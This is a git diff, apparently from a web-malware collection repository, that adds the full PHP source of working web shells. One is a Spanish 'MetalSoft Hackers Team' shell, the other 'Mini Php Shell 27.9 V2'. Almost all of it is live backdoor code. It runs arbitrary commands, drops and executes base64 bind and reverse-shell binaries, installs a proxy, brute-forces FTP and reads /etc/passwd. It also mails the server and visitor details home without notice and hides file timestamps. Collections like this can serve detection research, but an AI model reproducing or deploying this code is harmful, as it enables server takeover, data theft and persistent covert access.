chdir($f); + $pwd = cp(getcwd()); + $s_result .= showdir($pwd,$s_prompt,$s_win); + } + + } // edit file + elseif(isset($_REQUEST['edit'])){ + $f = ss($_REQUEST['edit']); + $fc = ""; + $fcs = ""; + + if(is_file($f)) $fc = file_get_contents($f); + if(isset($_REQUEST['fcsubmit'])){ + $fc = ssc($_REQUEST['fc']); + if($filez = fopen($f,"w")){ + $time = date("d-M-Y H:i",time()); + if(fwrite($filez,$fc)) $fcs = "file saved <span class=\"gaya\">@</span> ".$time; + else $fcs = "Error al guardar :("; + fclose($filez); + } + else $fcs = "No tienes permisos para guardar "; + } + $s_result .= " <form action=\"?\" method=\"post\"> + <textarea id=\"fc\" name=\"fc\" class=\"evalcode\">".htmlspecialchars($fc)."</textarea> + <p><input type=\"text\" class=\"inputz\" style=\"width:98%;\" name=\"edit\" value=\"".$f."\" /></p> + <p><input type=\"submit\" name=\"fcsubmit\" class=\"inputzbut\" value=\"Guardar :)\" style=\"width:120px;height:30px;\" /> + &nbsp;&nbsp;".$fcs."</p> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </form> + "; + + } // task manager + elseif(isset($_REQUEST['ps'])){ + $s_result = "<table class=\"explore sortable\">"; + if(!$s_win) $h = "ps -aux"; + else $h = "tasklist /V /FO csv"; + $wcount = 11; + $wexplode = " "; + if($s_win) $wexplode = "\",\""; + + + $res = exe($h); + if(trim($res)=='') $s_result .= "<p class=\"rs_result\">error: permission denied</p>"; + else{ + if(!$s_win) $res = preg_replace('#\ +#',' ',$res); + + $psarr = explode("\n",$res); + $fi = true; + $tblcount = 0; + + $check = explode($wexplode,$psarr[0]); + $wcount = count($check); + + foreach($psarr as $psa){ + if(trim($psa)!=''){ + if($fi){ + $fi = false; + $psln = explode($wexplode,$psa,$wcount); + $s_result .= "<tr><th>action</th>"; + foreach($psln as $p){ + $s_result .= "<th>".trim(trim(strtolower($p)),"\"")."</th>"; + } + $s_result .= "</tr>"; + } + else{ + $psln = explode($wexplode,$psa,$wcount); + $s_result .= "<tr>"; + $tblcount = 0; + foreach($psln as $p){ + if(trim($p)=="") $p = "&nbsp;"; + if($tblcount == 0){ + $s_result .= "<td style=\"text-align:center;\"><a href=\"?ps&amp;d=".$pwd."&amp;pid=".trim(trim($psln[1]),"\"")."\">kill</a></td> + <td style=\"text-align:center;\">".trim(trim($p),"\"")."</td>"; + $tblcount++; + } + else{ + $tblcount++; + if($tblcount == count($psln)) $s_result .= "<td style=\"text-align:left;\">".trim(trim($p), "\"")."</td>"; + else $s_result .= "<td style=\"text-align:center;\">".trim(trim($p), "\"")."</td>"; + } + } + $s_result .= "</tr>"; + } + } + } + $s_result .= "</table>"; + } + } + else{ + if(isset($_REQUEST['cmd'])){ + $cmd = ss($_REQUEST['cmd']); + if(strlen($cmd) > 0){ + if(preg_match('#^cd(\ )+(.*)$#',$cmd,$r)){ + $nd = trim($r[2]); + if(is_dir($nd)){ + chdir($nd); + $pwd = cp(getcwd()); + $s_result .= showdir($pwd,$s_prompt,$s_win); + } + elseif(is_dir($pwd.$nd)){ + chdir($pwd.$nd); + $pwd = cp(getcwd()); + $s_result .= showdir($pwd,$s_prompt,$s_win); + } + else $s_result .= "<pre>".$nd." is not a directory"."</pre>"; + } + else{ + $s_r = htmlspecialchars(exe($cmd)); + if($s_r != '') $s_result .= "<pre>".$s_r."</pre>"; + else $s_result .= showdir($pwd,$s_prompt,$s_win); + } + } + else $s_result .= showdir($pwd,$s_prompt,$s_win); + } + else $s_result .= showdir($pwd,$s_prompt,$s_win); + } + + + // print useful info + $s_info = "<table class=\"headtbl\"><tr><td>".$s_software."</td></tr>"; + $s_info .= "<tr><td>".$s_system."</td></tr>"; + if($s_id != "") $s_info .= "<tr><td>".$s_id."</td></tr>"; + $s_info .= "<tr><td>IP del servidor : ".$s_server_ip."<span class=\"gaya\"> | </span>TU IP : ".$s_my_ip."<span class=\"gaya\"> | </span>"; + if($s_safemode) $s_info .= "safemode <span class=\"gaya\">ON</span>"; + else $s_info .= "safemode <span class=\"gaya\">OFF</span>"; + $s_info .= " + </td></tr> + <tr><td style=\"text-align:left;\"> + <table class=\"headtbls\"><tr> + <td>".trim($letters)."</td> + <td> + <span id=\"chpwd\">&nbsp;<a href=\"javascript:tukar('chpwd','chpwdform');\">&gt;&nbsp;&nbsp;</a>".swd($pwd)."</span> + <form action=\"?\" method=\"get\" style=\"margin:0;padding:0;\"> + <span class=\"sembunyi\" id=\"chpwdform\"> + &nbsp;<a href=\"javascript:tukar('chpwdform','chpwd');\">&gt;</a>&nbsp;&nbsp; + <input type=\"hidden\" name=\"d\" class=\"inputz\" style=\"width:300px;\" value=\"".cp($pwd)."\" /> + <input type=\"text\" name=\"view\" class=\"inputz\" style=\"width:300px;\" value=\"".$pwd."\" /> + <input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"view\" /> + <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('chpwdform','chpwd');\" /> + </form> + </span> + </td></tr> + </table> + </td></tr> + </table>"; +} +// OK now... thats the <brain>,, here comes the <head> +?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> + +<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> + +<head> +<title><?php echo $s_title; ?></title> +<link rel="SHORTCUT ICON" href="<?php echo $_SERVER['SCRIPT_NAME']."?favicon"; ?>" /> + +<style type="text/css"><?php echo gzinflate(base64_decode($style)); ?></style> + +<script type="text/javascript" src="<?php echo $_SERVER['SCRIPT_NAME']."?sorttable"; ?>"></script> +<script type="text/javascript"> +function tukar(l,b){ + if(document.getElementById(l)) document.getElementById(l).style.display = 'none'; + if(document.getElementById(b)) document.getElementById(b).style.display = 'block'; +} +function init(){ + <?php if(isset($_REQUEST['cmd'])) echo "if(document.getElementById('cmd')) document.getElementById('cmd').focus();"; ?> +} +</script> + +</head> + +<body onLoad="init();"> +<table id="main"><tr><td><?php if($s_auth){ ?> + <div><table id="header"><tr><td><table><tr><td><h1><a href="?"><?php echo $s_name; ?></a></h1></td></tr><tr><td style="text-align:right;"><div class="ver"><?php echo $s_ver; ?></div></td></tr></table></td> + <td><div class="headinfo"><?php echo $s_info; ?></div></td></tr></table> + </div> + <div style="clear:both;"></div> + <div id="menu"> + <table style="width:100%;"><tr> + <td><a href="?&d=<?php echo $pwd; ?>" title="Explorar directorio"><div class="menumi">Explorar</div></a></td> + <td><a href="?ps&d=<?php echo $pwd; ?>" title="Ver procesos"><div class="menumi">Procesos</div></a></td> + <td><a href="?eval&d=<?php echo $pwd; ?>" title="Funcion Eval"><div class="menumi">Eval</div></a></td> + <td><a href="?phpinfo&d=<?php echo $pwd; ?>" title="Ver informacion del sistema"><div class="menumi">phpInfo</div></a></td> + <td><a href="?db&d=<?php echo $pwd; ?>" title="Conectarse a las Bases de datos"><div class="menumi">Bases</div></a></td> + <td><a href="?rs&d=<?php echo $pwd; ?>" title="Shell Remota"><div class="menumi">Remota</div></a></td> + <td style="width:100%;padding:0 0 0 6px;"> + <form action="?" method="get"><span class="prompt"><?php echo $s_prompt; ?></span> + <input id="cmd" class="inputz" type="text" name="cmd" style="width:70%;" value="" /> + <noscript><input class="inputzbut" type="submit" value="Ir !" name="submitcmd" style="width:80px;" /></noscript> + <input type="hidden" name="d" value="<?php echo $pwd; ?>" /> + </form> + </td> + </tr> + </table> + </div> + <div id="content" id="box_shell"> + <div id="result"><?php echo $s_result; ?></div> + </div><?php } +else{ ?> +<center>Sistema de acceso</center></p> +<p> +<center>Ingrese su clave</center> + <div style="width:100%;text-align:center;"> + + <form action="?" method="post"> + <img src="?favicon" style="margin:2px;vertical-align:middle;" /> + <?php echo $s_name; ?>&nbsp;<span class="gaya"><?php echo $s_ver; ?></span><input id="login" class="inputz" type="password" name="login" style="width:120px;" value="" /> + <input class="inputzbut" type="submit" value="ENTRAR" name="submitlogin" style="width:80px;" /> + </form> + </div> +<p> +<center>MetalSoft Hackers Team </center> +</p> +<?php +} +?> +</td></tr></table> +<p class="footer">Fail.root[at]Hotmail.com | MetalSoft Hackers Team &copy;</p> +</body> +</html> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/mini.j0s_ali.j0e.v27.9.txt b/web-malware-collection-master/Backdoors/PHP/mini.j0s_ali.j0e.v27.9.txt new file mode 100755 index 0000000..06f5ce3 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/mini.j0s_ali.j0e.v27.9.txt @@ -0,0 +1,2905 @@ +<?php +if (!function_exists("myshellexec")) +{ +if(is_callable("popen")){ +function myshellexec($command) { +if (!($p=popen("($command)2>&1","r"))) { +return 126; +} +while (!feof($p)) { +$line=fgets($p,1000); +$out .= $line; +} +pclose($p); +return $out; +} +}else{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +} + + +function checkproxyhost(){ +$host = getenv("HTTP_HOST"); +$filename = '/tmp/.setan/xh'; +if (file_exists($filename)) { +$_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>"; +} else { +$_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>"; + } +} + +if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) +{ + $ip = gethostbyname($_SERVER["HTTP_HOST"]); + $por = $_POST['backconnectport']; + if(is_writable(".")){ + cfb("shbd",$backdoor); + ex("chmod 777 shbd"); + $cmd = "./shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; + }else{ + cfb("/tmp/shbd",$backdoor); + ex("chmod 777 /tmp/shbd"); + $cmd = "./tmp/shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) +{ + if(is_writable(".")){ + cf("back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("back")) { unlink("back"); } + }else{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("/tmp/back")) { unlink("/tmp/back"); } +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) +{ + if(is_writable(".")){ + cf("backc",$back_connect_c); + ex("chmod 777 backc"); + //$blah = ex("gcc back.c -o backc"); + $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("backc")) { unlink("backc"); } + }else{ + ex("chmod 777 /tmp/backc"); + cf("/tmp/backc",$back_connect_c); + //$blah = ex("gcc -o /tmp/backc /tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } } +} + +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function cfb($fname,$text) +{ + $w_file=@fopen($fname,"w") or bberr(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function err() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>"; +} + +function bberr() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>"; +} + +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} + +ini_set("memory_limit","300M"); +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +if (!function_exists("file_get_contents")) { function file_get_contents($filename){ $handle = fopen($filename, "r"); $retval = fread($handle, filesize($filename)); fclose($handle);return $retval;}} +error_reporting(5); +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +$r11 = $_SERVER['SERVER_ADDR'];$i94 = $_SERVER['REMOTE_ADDR'];$i71= gethostbyaddr($i94);$h42 = $_SERVER['HTTP_HOST'];$a83 = $_SERVER['REQUEST_URI'];$p77 = __FILE__;$s33 = str_replace('.', '', $r11);$e85 = 'no access email';$f55 = "From: $s33 <no access email>";$m852 = "$i94\n$i71\n\n$h42$a83\n$p77";@mail($e85, $s33, $m852, $f55); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} +$shver = "Mini Php Shell 27.9 V2"; +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; +} +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; +} +$surl = htmlspecialchars($surl); +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. +$login = ""; +$pass = ""; +$md5_pass = ""; +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Apache Error: Restricted File"; +$accessdeniedmess = "access denied"; +$gzipencode = TRUE; +$filestealth = TRUE; //if TRUE, don't change modify- and access-time +$donated_html = ""; +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. +$curdir = "./"; +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; +$tmpdir_log = "./"; +$log_email = "no access email"; +$sort_default = "0a"; +$sort_save = TRUE; +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","c",".bash_history","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); +$safemode_diskettes = array("a"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + + +$sess_cookie = "c99shvars"; // Cookie-variable name + + + +//Quick launch +$quicklaunch = array( + array("<b>Home</b>",$surl), + array("<b>Search</b>",$surl."act=search&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Processes</b>",$surl."act=processes&d=%d"), + array("<b>FTP-Brute-Forcer</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Server-Information</b>",$surl."act=security&d=%d"), + array("<b>SQL-Manager</b>",$surl."act=sql&d=%d"), + array("<b>PHP-Code</b>",$surl."act=eval&d=%d&eval=//readfile('/etc/passwd');"), + array("<b>Back-Connect</b>",$surl."act=backc"), + array("<b>Self-Remove</b>",$surl."act=selfremove"), + array("<b>Install-Proxy</b>",$surl."act=proxy"), + array("<b>Host</b>",$surl."act=shbd"), +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("Access Denied");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img"){ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=red>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("mysql_dump")){ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) 